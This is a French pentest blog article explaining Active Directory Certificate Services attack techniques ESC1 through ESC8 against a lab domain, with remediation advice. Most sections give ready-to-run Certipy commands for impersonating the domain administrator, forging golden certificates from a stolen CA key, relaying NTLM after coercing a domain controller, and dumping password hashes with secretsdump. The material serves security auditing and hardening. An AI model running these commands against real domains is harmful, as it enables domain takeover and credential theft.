Sécurité AD CS : comprendre et exploiter les techniques ESC

Après avoir présenté les principes de fonctionnement d’Active Directory Certificate Services (AD CS) dans un premier article, il est temps d’aborder une dimension plus offensive : l’exploitation des failles liées à cette infrastructure.

En 2021, l’équipe de SpecterOps a publié une série de scénarios d’attaque regroupés sous le nom de techniques ESC (Enterprise Subordinate CA abuses).

Ces scénarios illustrent comment un attaquant peut abuser de templates de certificats mal configurés pour obtenir des certificats valides et usurper l’identité de n’importe quel utilisateur ou service du domaine. Dans certaines conditions, cela peut même conduire à la compromission de comptes très privilégiés, comme ceux des Domain Admins.

Cet article a pour objectif de vulgariser les principales techniques d’exploitation ESC que nous avons rencontrées lors de tests d’intrusion interne. Nous détaillerons notre méthodologie d’audit d’une infrastructure AD CS, ainsi que les principales failles observées sur le terrain.

Pour des raisons de concision, nous présenterons ici les techniques ESC1 à ESC8. Par ailleurs, nous nous appuierons sur les ressources incontournables produites par Oliver Lyak, développeur de l’outil Certipy, ainsi que sur la série d’articles publiés par l’équipe de SpecterOps.

Guide complet sur les techniques d’exploitation d’AD CS

Énumération de l’infrastructure AD CS

Comme pour tout audit de sécurité, la première étape consiste à réaliser une énumération complète.

Cette phase vise à localiser les serveurs AD CS présents dans le domaine et à identifier l’ensemble des templates de certificats disponibles. L’objectif est de repérer d’éventuelles failles de configuration susceptibles d’être exploitées.

Outils d’énumération : Certipy et Certify

Deux outils se démarquent particulièrement pour cette tâche : Certipy, développé en Python, et Certify, écrit en C#.

Tous deux permettent d’interroger LDAP pour récupérer des informations précises sur les autorités de certification enregistrées dans le domaine. Cela inclut des détails comme le nom DNS, le type d’autorité, la version, ou encore les propriétés de chaque template.

L’outil Certipy offre une vue complète de l’infrastructure AD CS via une simple commande :

certipy find -u “$USER” -p “$PASSWORD” -dc-ip “$DC_IP” -vulnerable -enable

L’option -enable permet de se concentrer uniquement sur les templates activés, tandis que -vulnerable isole ceux dont la configuration est connue pour être exploitable.

Certify quant à lui, propose une commande équivalente :

Certify.exe find /vulnerable

Il s’agit de l’outil historique pour ce type d’audit, particulièrement apprécié dans les environnements Windows.

Même si Certipy est aujourd’hui plus répandu dans les contextes orientés Linux, les deux remplissent les mêmes objectifs.

Ces outils permettent d’obtenir une cartographie complète de l’infrastructure AD CS : ils listent les autorités de certification en place, les templates existants, et analysent leurs propriétés pour identifier ceux qui peuvent servir de point d’entrée à une attaque.

L’analyse couvre notamment les droits enroll et autoenroll, les contraintes sur le champ Subject Name, ou encore la présence d’extensions critiques comme les usages de clé (Key Usage) et les EKUs (Extended Key Usages).

Intégration avec BloodHound

Les résultats obtenus peuvent également être importés dans BloodHound, un outil d’analyse de graphe bien connu des pentesters Active Directory.

Cela permet de corréler les données AD CS avec les relations de privilèges et les chemins d’accès présents dans le domaine, rendant la recherche de chemins de compromission beaucoup plus efficace.

Une fois cette phase d’énumération achevée, il suffit d’examiner les fichiers générés pour repérer les templates potentiellement vulnérables. Ceux-ci serviront de base pour les étapes d’exploitation avancées à venir.

ESC1 – Usurpation à la carte

La première vulnérabilité que nous allons explorer se nomme ESC1. Cela tombe bien : dans notre environnement de test, un template de certificat nommé justement « ESC1 » présente toutes les conditions requises pour illustrer ce scénario d’exploitation.

Comprendre la vulnérabilité

ESC1 repose sur une mauvaise configuration autorisant le demandeur de certificat à définir lui-même le champ Subject Name dans sa requête (CSR).

Cela signifie qu’un utilisateur peut indiquer, au moment de la demande, le nom du compte pour lequel il souhaite obtenir un certificat d’authentification. Ce comportement permet d’usurper l’identité d’un autre utilisateur, voire d’un administrateur de domaine.

Pour que cette attaque soit possible, plusieurs conditions doivent être réunies :

1. L’utilisateur (peu privilégié si possible) doit pouvoir s’inscrire sur le template (enrollment).
2. « Manager Approval » ne doit pas être activé. Cette fonctionnalité fait qu’un administrateur doit manuellement approuver la génération du certificat.
3. « Authorized signatures » ne doit pas être configuré.
4. L’authentification par certificat (client) doit être activée (EKU : Client Authentication)
5. Le template doit permettre à l’utilisateur de spécifier un subjectAltName (SAN) dans la demande de certificat (CSR : Certificate Signing Request).

Ce dernier point est contrôlé via l’attribut mspki-certificate-name-flag dont la valeur doit inclure EnrolleeSuppliesSubject.

Vérification des conditions

Dans notre exemple, le template « ESC1 » remplit tous les critères.

1. Les droits d’enrôlement sont accordés à l’ensemble des utilisateurs du domaine via le groupe ESSOS.LOCAL\Domain Users.
2. Le champ EKU contient bien Client Authentication, ce qui permet d’utiliser le certificat pour s’authentifier.
3. Enfin, la propriété Certificate Name Flag permet à l’utilisateur de définir lui-même le SAN, ce qui constitue le cœur de la vulnérabilité.

Un attaquant disposant d’un compte basique dans le domaine peut donc générer une requête de certificat spécifiant un UPN (User Principal Name) arbitraire, par exemple celui de l’administrateur de domaine.

Grâce à Certipy, il est possible de soumettre une requête ciblant explicitement ce template et en demandant un certificat au nom de [email protected].

La commande utilisée est la suivante :

certipy req -u "$USER@$DOMAIN" -p "$PASS" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca '<CA NAME>' -template 'ESC1' -upn '[email protected]'

Validation et exploitation

Une fois le certificat généré, il peut être exporté dans un fichier .pfx, qui contient à la fois le certificat et la clé privée.

Il est ensuite possible d’extraire le certificat à l’aide d’OpenSSL pour vérifier le contenu du champ SAN. Cette étape permet de s’assurer que le certificat usurpé correspond bien au compte administrateur.

openssl pkcs12 -in administrator.pfx -clcerts -nokeys -out administrator.pem
openssl x509 -in administrator.pem -text -noout

Si tout est en ordre, l’attaquant dispose alors d’un certificat valide permettant de s’authentifier comme administrateur du domaine.

L’outil Certipy permet ensuite d’utiliser ce certificat pour s’authentifier, récupérer le hash NT du compte administrator, ou exécuter des actions au nom de ce dernier.

certipy auth -pfx administrator.pfx -dc-ip 10.6.10.12

Sur le serveur AD CS, les certificats émis peuvent être visualisés via la console certsrv.msc. En consultant la section « Issued Certificates », il est possible d’observer les certificats générés, y compris celui qui a été obtenu à des fins d’exploitation.

Les attributs affichés permettent de constater que le SAN usurpé a bien été pris en compte par l’autorité de certification.

ESC2 – Le certificat suisse

La vulnérabilité ESC2 repose sur un comportement permissif lié à l’usage des certificats. Concrètement, elle s’appuie sur le fait qu’un template de certificat autorise l’attribution d’un certificat pour n’importe quelle finalité, ce que l’on appelle un usage “Any Purpose”.

Lorsqu’un tel certificat est obtenu, il peut être utilisé non seulement pour l’authentification, mais également pour des actions bien plus sensibles comme la requête de certificats pour d’autres utilisateurs via le rôle de Certificate Request Agent.

C’est l’équivalent d’un passe-partout : une fois entre les mains d’un attaquant, ce certificat peut permettre d’imiter n’importe quel utilisateur, y compris un administrateur du domaine.

Identification de la configuration vulnérable

Pour qu’un template soit vulnérable à ESC2, plusieurs conditions doivent être remplies.

1. L’utilisateur (de préférence peu privilégié) doit pouvoir effectuer une demande d’enrôlement (enrollment) via ce template.
2. Le processus ne doit pas exiger d’approbation manuelle par un administrateur (Manager Approval)
3. Le processus ne doit pas reposer sur un mécanisme de signature autorisée (Authorized signatures).
4. Enfin, le template doit soit contenir explicitement l’EKU Any Purpose, soit ne contenir aucun EKU du tout, ce qui revient au même, puisque l’absence d’EKU est interprétée comme une autorisation générale d’usage.

Dans notre environnement de test, le template nommé « ESC2 » satisfait à toutes ces conditions. En l’analysant via Certipy, on peut constater que l’EKU Any Purpose est bien présent, ce qui signifie que le certificat émis pourra servir à n’importe quel usage, sans restriction.

Obtention du certificat et usage initial

La première étape de l’exploitation consiste à générer un certificat à partir de ce template permissif.

La commande suivante permet de le faire :

certipy req -u "$USER@$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -template ESC2 -ca <CA NAME>

Une fois le certificat récupéré, il est possible de l’inspecter pour confirmer qu’il ne contient aucune limitation sur les usages applicatifs. S’il ne spécifie aucun champ EKU explicite, il sera automatiquement interprété comme pouvant être utilisé à toutes fins, notamment pour agir en tant que Certificate Request Agent.

Comme attendu, le certificat peut être utilisé à n’importe quelle fin.

Détournement du rôle de Request Agent

L’étape suivante consiste à utiliser ce certificat pour demander un second certificat au nom d’un utilisateur légitime, cette fois-ci un administrateur de domaine.

En s’appuyant sur la fonctionnalité Request Agent offerte par le premier certificat, l’attaquant peut émettre une nouvelle demande de certificat en se faisant passer pour l’administrateur :

certipy req -u "$USER@$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -template User -ca "$CA-NAME" -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx

Ici, le -template User est utilisé pour obtenir un certificat d’authentification classique, mais au nom d’un compte privilégié.

Grâce à l’option -on-behalf-of, la requête est effectuée pour l’utilisateur essos\administrator, tandis que le certificat initial, désigné par l’option -pfx, agit comme autorité déléguée.

ESC3 – Deux templates pour une compromission

ESC3 s’appuie sur un scénario en deux étapes, exploitant deux templates de certificat distincts configurés de manière complémentaire.

Cette configuration permet à un attaquant de contourner certaines vérifications d’émission normalement appliquées par les autorités de certification AD CS.

L’exploitation repose sur l’obtention successive de deux certificats : le premier pour obtenir un rôle d’agent de requête de certificats (Certificate Request Agent), le second pour s’en servir afin de générer un certificat au nom d’un utilisateur tiers.

Analyse des templates requis

Le premier template doit respecter les conditions suivantes :

1. Un utilisateur (peu privilégié si possible) doit pouvoir s’inscrire sur le template (enrollment).
2. « Authorized signatures » ne doit pas être configuré.
3. « Manager Approval » ne doit pas être activé.
4. Le template doit contenir l’EKU Certificate Request Agent.

Dans notre environnement cible, le template nommé ESC3-CRA répond parfaitement à ces critères. Il permet donc d’obtenir un certificat jouant le rôle d’agent intermédiaire pour émettre d’autres certificats.

Le second template est celui qui sera utilisé pour obtenir un certificat d’authentification final, par exemple au nom d’un administrateur du domaine. Ce dernier doit remplir les conditions suivantes :

1. Un utilisateur (peu privilégié si possible) doit pouvoir s’inscrire sur le template (enrollment).
2. « Manager Approval » ne doit pas être activé.
3. La version du schéma du template est « 1 » ou si la version est supérieure à « 2 », une condition d’émission doit être configuré avec une « autorized signatures » (onglet Issuance requirements dans les propriétés d’un certificat) d’un certificat ayant l’EKU Certificate Request Agent. Cette dernière condition est précisément ce qui permet de relier les deux templates dans l’exploitation.

Dans notre cas, le template ESC3 remplit ce rôle. Il est configuré en version 2, avec une exigence d’émission liée à un certificat possédant l’EKU Certificate Request Agent, ce qui correspond exactement au certificat obtenu avec ESC3-CRA.

Le template par défaut User, souvent utilisé tel quel dans les environnements réels, peut également être vulnérable s’il est en version 1 ou mal configuré.

Obtention du certificat d’agent

L’exploitation commence par la génération d’un certificat à partir du template ESC3-CRA.

Grâce à Certipy, la commande suivante permet de lancer cette demande :

certipy req -u "$USER@$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -template ESC3-CRA -ca <CA-NAME>

Une fois le certificat généré, il est utile de vérifier son contenu. L’examen des EKU permet de confirmer la présence de l’OID 1.3.6.1.4.1.311.20.2.1, qui correspond bien à la propriété Certificate Request Agent.

Ce certificat peut alors servir de signature autorisée pour satisfaire les conditions du second template.

Utilisation pour usurpation d’identité

La seconde étape consiste à utiliser ce certificat d’agent pour faire une demande de certificat au nom d’un utilisateur ciblé, comme un administrateur de domaine. La commande suivante illustre cette exploitation :

certipy req -u "$USER" -p "$PASS" -target "$ADCS_HOST" -template ESC3 -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx esc2.pfx

Le template visé ici est ESC3, mais le même mécanisme fonctionne également avec un template User s’il est en version 1.

Le paramètre -on-behalf-of permet d’indiquer l’identité usurpée, tandis que l’option -pfx précise le certificat d’agent utilisé comme preuve d’autorisation.

Cette combinaison permet à l’attaquant d’obtenir un certificat d’authentification parfaitement légitime, au nom d’un utilisateur administrateur, sans intervention ni alerte côté infrastructure.

ESC4 – Un grand pouvoir implique de grandes responsabilités

Contrairement aux précédents scénarios, l’exploitation d’ESC4 ne découle pas d’une erreur de configuration directe dans un template de certificat, mais plutôt d’une gestion laxiste des permissions associées à ce dernier.

Lorsqu’un utilisateur dispose de certains privilèges élevés sur un template, il peut le modifier librement et, par conséquent, l’adapter pour qu’il devienne exploitable, notamment en le configurant de manière à permettre une attaque de type ESC1.

Identification des privilèges dangereux

Les privilèges problématiques incluent :

• le contrôle total (Owner),
• les droits d’écriture sur le propriétaire (Write Owner Principals),
• les droits d’écriture sur les propriétés (Write Property Principals),
• ou encore les droits d’écriture sur la liste de contrôle d’accès (Write DACL Principals).

Toute personne disposant d’un de ces accès peut reconfigurer un template à sa convenance, le transformant d’un objet inoffensif en un levier d’élévation de privilèges potentiellement critique.

Pour détecter ce type de configuration, l’outil BloodHound s’avère particulièrement efficace. En exécutant une requête ciblée, on peut identifier les utilisateurs ou groupes disposant de droits d’écriture ou de contrôle sur des templates actifs.

MATCH p=shortestPath((g)-[:GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner*1..]->(n:GPO)) WHERE  g<>n and n.type = 'Certificate Template' and n.`Enabled` = true RETURN p

Dans notre cas, l’analyse montre que l’utilisateur khal.drogo possède le droit GenericAll sur un template nommé ESC4, ce qui lui confère un accès complet à sa configuration.

Modification contrôlée du template

Grâce à cet accès, un attaquant peut reconfigurer le template pour y injecter des paramètres vulnérables.

Ici, il s’agit d’ajouter la possibilité de définir manuellement le champ subjectAltName via la propriété mspki-certificate-name-flag, ce qui est précisément l’une des conditions nécessaires pour exécuter une attaque ESC1.

Pour cela, l’outil Certipy permet de modifier dynamiquement un template en y appliquant une configuration vulnérable par défaut :

certipy template -u "$USER" -p "$PASS" -template ESC4 -write-default-configuration -dc-ip 10.6.10.12

Une fois la modification effectuée, le template ESC4 devient exploitable exactement comme dans le scénario ESC1.

L’attaquant peut alors soumettre une demande de certificat usurpant l’identité d’un administrateur du domaine, par exemple :

certipy req -u "$USER@$DOMAIN" -p "$PASS" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ESSOS-CA' -template 'ESC4' -upn '[email protected]'

Exploitation éphémère et bonnes pratiques

Une attention particulière doit être portée à la restauration post-exploitation.

Lors d’un test d’intrusion interne, il est impératif de ne pas laisser de modifications persistantes. Toute altération d’un template doit être réversible.

Heureusement, Certipy sauvegarde automatiquement la configuration d’origine du template avant modification. Une fois l’exploitation réalisée, il est donc possible de restaurer le template dans son état initial grâce à la commande suivante :

certipy template -u "$USER@$DOMAIN" -p "$PASS" -template ESC4 -write-configuration <backup-ESC4-file>.json -dc-ip 10.6.10.12

Ce scénario illustre l’importance d’un contrôle strict des permissions sur les objets sensibles d’Active Directory Certificate Services. Les droits d’administration sur les templates ne devraient être accordés qu’à des utilisateurs ou groupes dûment identifiés et légitimes, dans le respect du principe de moindre privilège.

ESC5 – Golden certificate

L’exploitation d’ESC5 repose sur une mauvaise gestion des ACLs (Access Control List) associées à certains objets sensibles liés à l’infrastructure PKI, situés dans le contexte de nommage Configuration de l’Active Directory.

Contrairement à ESC4, qui cible les permissions sur les templates de certificats, ou à ESC7, centré sur les autorisations affectant directement l’objet CA, ESC5 permet à un attaquant de manipuler des composants fondamentaux de l’écosystème AD CS, à un niveau plus profond et global.

Manipulation des objets PKI critiques

Un attaquant qui dispose de privilèges élevés sur ces objets, tels que WriteDACL, WriteOwner, WriteProperty ou FullControl, peut interférer avec plusieurs éléments stratégiques de l’infrastructure PKI.

• Il est par exemple possible de modifier le contenu de l’objet NTAuthCertificates, qui détermine quelles autorités de certification sont autorisées à émettre des certificats utilisés pour l’authentification Kerberos (via PKINIT). En y injectant un certificat provenant d’une CA contrôlée par l’attaquant, celui-ci serait en mesure de produire des certificats acceptés comme valides par l’ensemble du domaine.
• D’autres manipulations sont également envisageables. Un attaquant peut par exemple altérer les chemins AIA (Authority Information Access) ou CDP (CRL Distribution Point) associés aux CAs, redirigeant ainsi les points de distribution vers des serveurs qu’il contrôle. Cela pourrait perturber ou compromettre le processus de validation des certificats.
• Enfin, selon la configuration, il pourrait aussi intervenir sur les politiques d’enrôlement, les OIDs ou d’autres paramètres liés à l’organisation de la PKI.

En pratique, cette voie d’exploitation reste rare. Les objets concernés sont peu modifiés, bien protégés, et il est peu courant que des droits d’écriture y soient accordés par erreur.

L’exploitation directe d’ESC5 via modification d’objets dans l’AD demande donc un contexte très spécifique et reste rarement réaliste lors d’un audit.

Exploitation réaliste via compromission du serveur CA

L’approche la plus simple et souvent plus réaliste consiste à compromettre directement le serveur hébergeant l’autorité de certification. Un accès administrateur local suffit pour extraire le certificat du CA ainsi que sa clé privée.

Une fois ces deux éléments en main, un attaquant peut forger ce que l’on appelle un Golden Certificate, capable d’usurper n’importe quelle identité dans le domaine, exactement comme un Golden Ticket dans une attaque Kerberos classique.

À l’aide de Certipy, il est possible d’extraire la clé privée du CA avec la commande suivante :

certipy ca -backup -u 'Administrator' -hashes ':ee13d00459ed0456f159ecf784a7b2a7' -ca 'ESSOS-CA' -target <CA-SERVER-IP>

Une fois le fichier .pfx généré, l’attaquant peut créer un certificat forgé au nom de l’utilisateur de son choix, y compris un administrateur de domaine :

certipy forge -ca-pfx ESSOS-CA.pfx -upn [email protected] -crl 'ldap:///'

Il est important ici d’utiliser l’option -crl avec la valeur ldap:///, qui constitue une valeur syntaxiquement valide pour les contrôles effectués par le KDC lors de l’authentification. En son absence, une erreur est généralement levée, ce qui empêche l’utilisation du certificat forgé.

Usurpation d’identité et remédiation

Une fois le certificat généré, l’authentification peut être réalisée en toute transparence en tant qu’administrateur du domaine, sans alerte, sans mot de passe, et sans exploitation de vulnérabilité logicielle spécifique. Il s’agit d’un abus de confiance total vis-à-vis de l’infrastructure de certification.

En matière de remédiation, il n’existe pas de mesure miracle pour ESC5, hormis une gestion rigoureuse des droits sur le serveur CA lui-même. Seuls les administrateurs strictement nécessaires devraient disposer d’un accès local au serveur d’autorité de certification.

Il est aussi conseillé de surveiller les objets PKI présents dans le contexte Configuration de l’annuaire pour détecter d’éventuelles délégations de privilèges inappropriées.

ESC6 – Utilisation détournée de l’attribut EDITF_ATTRIBUTESUBJECTALTNAME2

Le scénario d’exploitation ESC6 repose sur une configuration particulière du serveur de certification (CA), à savoir l’activation de l’attribut EDITF_ATTRIBUTESUBJECTALTNAME2.

Cet attribut modifie le comportement par défaut du serveur AD CS en autorisant l’inclusion d’un champ Subject Alternative Name (SAN) dans une requête de certificat, même si le template utilisé ne le permet normalement pas. Cela contourne l’obligation de configurer la propriété mspki-certificate-name-flag, qui est habituellement nécessaire pour que l’utilisateur puisse spécifier un SAN, comme illustré dans ESC1.

Impact de l’attribut sur la sécurité

Lorsqu’un CA est configuré avec EDITF_ATTRIBUTESUBJECTALTNAME2, un utilisateur peut forger une requête de certificat contenant un SAN arbitraire, quel que soit le template utilisé. Cela signifie que même un template réputé sécurisé, comme le template par défaut User, peut devenir vulnérable à une attaque par usurpation d’identité.

Grâce à l’outil Certipy, il est facile de vérifier si l’attribut est activé. Dans notre cas, l’analyse confirme que le CA cible possède bien cette configuration.

Ce comportement permet donc à un utilisateur authentifié de demander un certificat s’identifiant comme un autre compte — y compris un administrateur — en spécifiant un UPN dans le champ SAN.

Une commande d’exploitation typique pourrait ressembler à ceci :

certipy req -u "$USER@$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -template User -ca ESSOS-CA -upn [email protected] -dc-ip "$DC_IP"

Restrictions postérieures à mai 2022

Il est important de noter que cette vulnérabilité a été fortement atténuée depuis la publication du correctif Microsoft en mai 2022, via la mise à jour de sécurité KB5014754, liée à la vulnérabilité CVE-2022-26923, surnommée Certifried.

Depuis ce correctif, un certificat contenant un SAN arbitraire ne suffit plus à s’authentifier en l’état, même si le certificat est valide. Il est désormais nécessaire de combiner cette faille avec d’autres vecteurs d’exploitation comme ESC9 ou ESC16, qui permettent de contourner les restrictions supplémentaires introduites avec la mise à jour.

Remédiation recommandée pour ESC6

Pour corriger ou prévenir cette vulnérabilité, la première étape consiste à appliquer les dernières mises à jour de sécurité Active Directory, y compris le correctif de mai 2022.

Ensuite, il est recommandé de désactiver explicitement l’attribut EDITF_ATTRIBUTESUBJECTALTNAME2 sur le serveur d’autorité de certification. Cela peut être réalisé via la commande suivante :

certutil –setreg policy\EditFlags –EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc

Cette opération garantit que l’ajout d’un SAN dans une requête de certificat ne sera autorisé que si le template le permet explicitement, rétablissant ainsi le contrôle au niveau des templates et réduisant considérablement la surface d’attaque.

ESC7 – Un manager trop privilégié

L’exploitation d’ESC7 ne s’appuie pas sur une mauvaise configuration d’un template de certificat, mais sur des droits excessifs attribués à un utilisateur sur le serveur Enterprise CA lui-même. C’est une problématique d’autorisations à un niveau supérieur, qui concerne directement la gestion de l’autorité de certification.

Le droit critique ici est “Manage CA”, également appelé « CA Administrator ». Il permet de modifier la configuration du serveur de certification, d’activer ou désactiver des templates, de redémarrer le service CA, d’ajouter des Certificate Officers ou encore d’approuver manuellement des demandes de certificats.

Dans notre environnement de test, l’outil Certipy révèle que l’utilisateur khal.drogo possède précisément ce privilège sur le CA nommé ESSOS-CA.

Exploitation en plusieurs étapes

Puisque khal.drogo détient les privilèges nécessaires, l’exploitation peut débuter.

L’approche consiste à utiliser le template « SubCA », qui permet de générer un certificat de sous-autorité de certification. Ce type de certificat est extrêmement puissant car il permet de signer d’autres certificats, pour n’importe quel usage, sans être restreint par des EKU classiques. En temps normal, seuls des administrateurs de domaine ou d’entreprise peuvent demander ce type de certificat.

L’attaque se déroule en plusieurs étapes.

D’abord, on active le template SubCA sur le serveur si celui-ci ne l’est pas encore. Grâce à Certipy, cette opération se fait en ligne de commande.

certipy ca -u 'khal.drogo'@"$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -ca "ESSOS-CA" -enable-template 'SubCA' -dc-ip "$DC_IP

Ensuite, on attribue à notre utilisateur le rôle de Certificate Officer, ce qui lui donne le pouvoir d’approuver manuellement des requêtes.

certipy ca -u "khal.drogo"@"$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -dc-ip 10.6.10.12 -ca 'ESSOS-CA' -add-officer "khal.drogo"

Une fois ce rôle acquis, l’utilisateur peut soumettre une demande de certificat SubCA en usurpant l’identité d’un administrateur. Cette requête échouera normalement, puisqu’il ne dispose pas du niveau de privilège requis.

D’ailleurs sur l’Enterprise CA, nous pouvons observer que la demande de certificat est bien refusée pour cette raison :

Cependant, étant désormais Certificate Officer, il pourra ensuite approuver manuellement cette demande.

certipy ca -u "khal.drogo"@"$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -dc-ip 10.6.10.12 -ca 'ESSOS-CA' -issue-request '58'

Enfin, après avoir approuvé la requête (en s’appuyant sur son ID), l’utilisateur peut la récupérer, et obtenir un certificat au nom d’un administrateur du domaine.

certipy req -u "khal.drogo"@"$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -template SubCA -ca ESSOS-CA -dc-ip 10.6.10.12 -retrieve '58'

Ce certificat est fonctionnel, signé par l’autorité de certification de l’entreprise, et inclut le champ Subject Alternative Name correspondant au compte administrateur ciblé.

Sécurisation et remédiation

Ce scénario montre combien il est critique de limiter les privilèges sur le serveur CA. Pour corriger cette vulnérabilité, il est essentiel de réviser les autorisations associées à l’objet CA.

Il suffit pour cela de lancer la console certsrv.msc sur le serveur de certification, puis d’ouvrir les propriétés de l’autorité à partir du menu contextuel. Dans l’onglet Security, seuls des utilisateurs hautement privilégiés, tels que les administrateurs du domaine ou de l’entreprise, doivent disposer des droits Manage CA et Issue and Manage Certificates.

L’erreur courante ici est d’avoir délégué ces rôles à des comptes utilisateurs standards, ou à des groupes techniques non restreints, ouvrant ainsi la voie à une compromission totale via l’émission non contrôlée de certificats.

ESC8 – NTLM Relay sur le Web Enrollment d’AD CS

ESC8 est l’un des scénarios d’exploitation les plus fréquemment rencontrés en audit interne. Il présente un risque particulièrement élevé, car il peut être exploité sans aucun compte du domaine, ce qui en fait une cible de choix pour un attaquant externe ayant déjà une position réseau favorable.

La condition centrale de cette attaque repose sur la présence du service Web Enrollment activé sur le serveur AD CS. Ce service permet à un client de soumettre une requête de certificat via une interface web, généralement accessible via l’URL http://<nom_serveur>/certsrv. Si ce service est activé et mal sécurisé, il devient possible de relayer une authentification NTLM d’un autre hôte (notamment un contrôleur de domaine) vers le serveur CA.

Conditions d’exploitation et déroulement de l’attaque

Pour qu’ESC8 soit exploitable, plusieurs éléments doivent être réunis.

• Le service Web Enrollment doit être activé et accessible via HTTP.
• Le serveur web hébergeant cette interface doit accepter les authentifications NTLM (ce qui est le cas par défaut).
• L’option Extended Protection for Authentication (EPA) ne doit pas être en place, ce qui est également la configuration par défaut.
• Enfin, il doit être possible de forcer un système cible à s’authentifier auprès du serveur de l’attaquant, qui relaiera ensuite l’authentification NTLM vers le serveur AD CS.

D’après la sortie Certipy, nous constatons que le Web Enrollment est activé en HTTP sur l’AD CS.

Cela se confirme en naviguant sur http://<server_name>/certsrv :

L’objectif ici est donc de récupérer un certificat en abusant de l’identité du contrôleur de domaine. On cible alors le template DomainController, conçu pour être utilisé uniquement par les DCs, mais auquel on accède par détournement via le relais d’authentification NTLM.

La commande suivante permet de démarrer un relais via Certipy :

certipy relay -target http://10.6.10.23 -template 'DomainController'

Le serveur de l’attaquant doit ensuite provoquer une authentification du contrôleur de domaine. Cela peut être fait grâce à netexec et son module coerce_plus, qui envoie des requêtes SMB ou RPC provoquant une connexion automatique :

nxc smb <DC-IP> -M coerce_plus -o LISTENER="$ATTACKER_IP"

Une fois l’authentification relayée vers le service Web Enrollment, l’attaquant reçoit un certificat au nom du DC.

Ce certificat peut alors être utilisé pour s’authentifier et extraire la base de données NTDS.dit, contenant les hachages NT des comptes du domaine :

certipy auth -pfx domain-controller.pfx -dc-ip 10.6.10.12

secretsdump -just-dc-user administrator -hashes :"<NT_HASH>" "$DOMAIN"/"<DC_NAME>$"@"10.6.10.12"

Bien entendu, il est possible de demander n’importe quel template de certificat, tant que l’authentification NTLM que nous relayons appartient à un compte qui a les privilèges nécessaires pour faire la demande de certificat.

Mesures de remédiation

La meilleure défense contre ESC8 repose d’abord sur la désactivation du service Web Enrollment si celui-ci n’est pas utilisé. Supprimer une surface d’attaque inutile est toujours la première mesure à prendre.

Ensuite, il est essentiel d’activer EPA (Extended Protection for Authentication), qui empêche précisément le relais d’authentification NTLM. L’activation d’EPA nécessite que le service Web Enrollment fonctionne en HTTPS. Il est donc impératif de forcer l’usage de HTTPS, même si cette mesure seule ne protège pas contre l’attaque.

Enfin, dans un environnement mature, il est fortement recommandé de désactiver complètement NTLM sur les serveurs AD CS, via la stratégie de groupe Network Security: Restrict NTLM: Incoming NTLM traffic.

Microsoft a publié une documentation officielle pour mitiger les attaques NTLM relay sur les services AD CS, disponible ici : KB5005413 – Microsoft

Conclusion

Nos audits révèlent un constat récurrent : l’AD CS reste un des composants les plus négligés des environnements Active Directory. Trop souvent installé par défaut et sans véritable usage, il introduit une surface d’attaque inutile.

Son danger ne tient pas seulement à cette présence injustifiée, mais aussi à la complexité de sa configuration. Entre les templates de certificats, les Issuance Policies, les EKU ou encore les mécanismes de mapping, la maîtrise d’AD CS reste exigeante. Par facilité, des réglages permissifs sont retenus, ouvrant la voie à des abus comme ESC1.

Pour réduire les risques, plusieurs axes sont essentiels : appliquer systématiquement les correctifs de sécurité (par exemple contre Certifried ou EKUwu), contrôler l’émission des certificats sensibles via une validation manuelle, restreindre les droits d’enrôlement, et désactiver purement et simplement le service s’il n’est pas utilisé. Le durcissement du mapping fort des certificats, l’activation du mode Full Enforcement, ou encore la configuration stricte de la clé de registre CertificateMappingMethods permettent de contrer des scénarios d’attaque.

Il convient également de revoir régulièrement les templates existants, de supprimer ceux qui sont obsolètes, et de vérifier que seuls les comptes légitimes disposent des rôles critiques (Certificate Manager, Enrollment Agent). Enfin, le chiffrement des requêtes RPC et l’activation d’Extended Protection for Authentication (EPA) doivent être intégrés pour limiter les attaques par relais NTLM.

Auteur : Adrien HOC – Pentester @Vaadata